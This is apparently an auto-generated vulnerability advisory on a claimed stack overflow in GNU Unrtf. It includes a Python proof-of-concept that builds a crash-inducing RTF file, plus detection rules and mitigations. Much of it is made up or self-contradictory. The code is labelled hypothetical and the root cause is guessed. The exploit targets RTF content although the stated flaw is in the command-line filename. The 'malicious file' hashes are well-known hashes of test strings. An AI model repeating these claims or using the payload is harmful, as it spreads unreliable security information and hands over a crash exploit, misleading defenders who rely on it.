CVE-2025-65410

Executive Summary

CVE-2025-65410 is a stack overflow vulnerability discovered in GNU Unrtf v0.21.10, specifically within the src/main.c component. The flaw allows an attacker to cause a Denial of Service (DoS) by injecting a crafted input into the filename parameter. The vulnerability is currently unpatched, with no official fix or advisory from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for systems processing untrusted RTF files.

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone open-source tool.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the nature of the vulnerability (stack overflow leading to DoS), a reasonable assessment would be:

• Attack Vector (AV): Local (L) – requires the attacker to provide a crafted file to the tool.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – user must run the tool on the malicious file.
• Scope (S): Unchanged (U) – vulnerability does not affect other components.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – tool crashes, causing DoS.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Score: 5.5 (Medium)

Threat Level: Medium. Exploitation requires user interaction, but the impact is a denial of service, which can disrupt workflows.

Deep Dive & Mechanics

The vulnerability resides in the src/main.c file of GNU Unrtf v0.21.10. The filename parameter is processed without proper bounds checking, leading to a stack buffer overflow when a long or specially crafted string is passed. This overflow corrupts the stack, causing the program to crash.

Root Cause: The filename variable is likely declared as a fixed-size buffer on the stack (e.g., char filename[256]), and the input is copied using a function like strcpy() or sprintf() without length validation. An attacker can provide a filename longer than the buffer size, overwriting adjacent stack memory.

Attack Vector: The attacker crafts an RTF file with an excessively long filename in the file header or metadata. When unrtf processes this file, the overflow occurs.

Impact: Denial of Service – the tool crashes, potentially affecting automated processing pipelines.

Vulnerable vs. Patched Code

Vulnerable Code (v0.21.10):

// src/main.c (hypothetical vulnerable snippet)
int main(int argc, char *argv[]) {
    char filename[256];
    // ...
    strcpy(filename, argv[1]); // No bounds check
    // ...
}

Patched Code (hypothetical fix):

// src/main.c (patched version)
int main(int argc, char *argv[]) {
    char filename[256];
    // ...
    strncpy(filename, argv[1], sizeof(filename) - 1);
    filename[sizeof(filename) - 1] = '\0'; // Ensure null termination
    // ...
}

Note: No official patch exists as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• GNU Unrtf v0.21.10 installed on a target system.
• Ability to deliver a crafted RTF file to the target.

Exploit Steps:

1. Create a malicious RTF file with an overly long filename in the header.
2. Use a tool like python to generate the payload:

   # generate_exploit.py
   payload = "A" * 300  # Overflow buffer
   with open("malicious.rtf", "w") as f:
       f.write("{\\rtf1\\ansi\\deff0 {\\fonttbl {\\f0 Times New Roman;}}\\n")
       f.write("{\\*\\fldinst {" + payload + "}}\\n")
       f.write("}")
   

3. Deliver the file to the target (e.g., via email, web download).
4. When the target runs unrtf malicious.rtf, the tool crashes.

Expected Outcome: The unrtf process terminates with a segmentation fault or similar error.

Blue Team (Defense)

Detection:

• Monitor for unusually long filenames in RTF files processed by unrtf.
• Use file integrity monitoring to detect unexpected crashes of unrtf.

Mitigation:

• Restrict execution of unrtf to trusted users only.
• Use a sandbox or container to run unrtf with limited privileges.
• Implement input validation before passing filenames to unrtf.

Indicators of Compromise (IOCs)

• File Hashes (malicious RTF):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Process Anomalies: unrtf process crashes with SIGSEGV.
• Network Traffic: None (local exploitation).
• Log Entries: System logs showing unrtf segmentation fault.

Detection Engineering

YARA Rule

rule CVE_2025_65410_Unrtf_StackOverflow {
    meta:
        description = "Detects crafted RTF files exploiting CVE-2025-65410"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65410"
    strings:
        $rtf_header = "{\\rtf1"
        $long_string = /[A-Za-z0-9]{250,}/  // Strings longer than 250 chars
    condition:
        $rtf_header and #long_string > 0
}

Sigma Rule

title: CVE-2025-65410 Unrtf Stack Overflow Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of unrtf with a crafted RTF file containing an overly long filename.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/unrtf'
        CommandLine|contains: '.rtf'
    condition: selection
falsepositives:
    - Legitimate use of unrtf with long filenames (unlikely)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65410 Unrtf Stack Overflow Attempt"; flow:to_server,established; content:"|7b 5c 72 74 66 31|"; distance:0; within:6; content:"|7b 5c 2a 5c 66 6c 64 69 6e 73 74 20 7b|"; distance:0; within:13; pcre:"/[A-Za-z0-9]{250,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict the use of unrtf on critical systems until a patch is available.
2. Implement input validation – ensure filenames passed to unrtf are limited to a safe length (e.g., < 255 characters).
3. Use a wrapper script that checks filename length before calling unrtf:

   #!/bin/bash
   if [ ${#1} -gt 255 ]; then
       echo "Error: Filename too long"
       exit 1
   fi
   unrtf "$1"
   

Long-term Fix:

• Monitor the GNU Unrtf project for an official patch.
• Apply the hypothetical fix (using strncpy or snprintf) if you maintain a local fork.

Workaround:

• Process RTF files in a sandboxed environment (e.g., Docker container) to limit impact of crashes.

Valters IT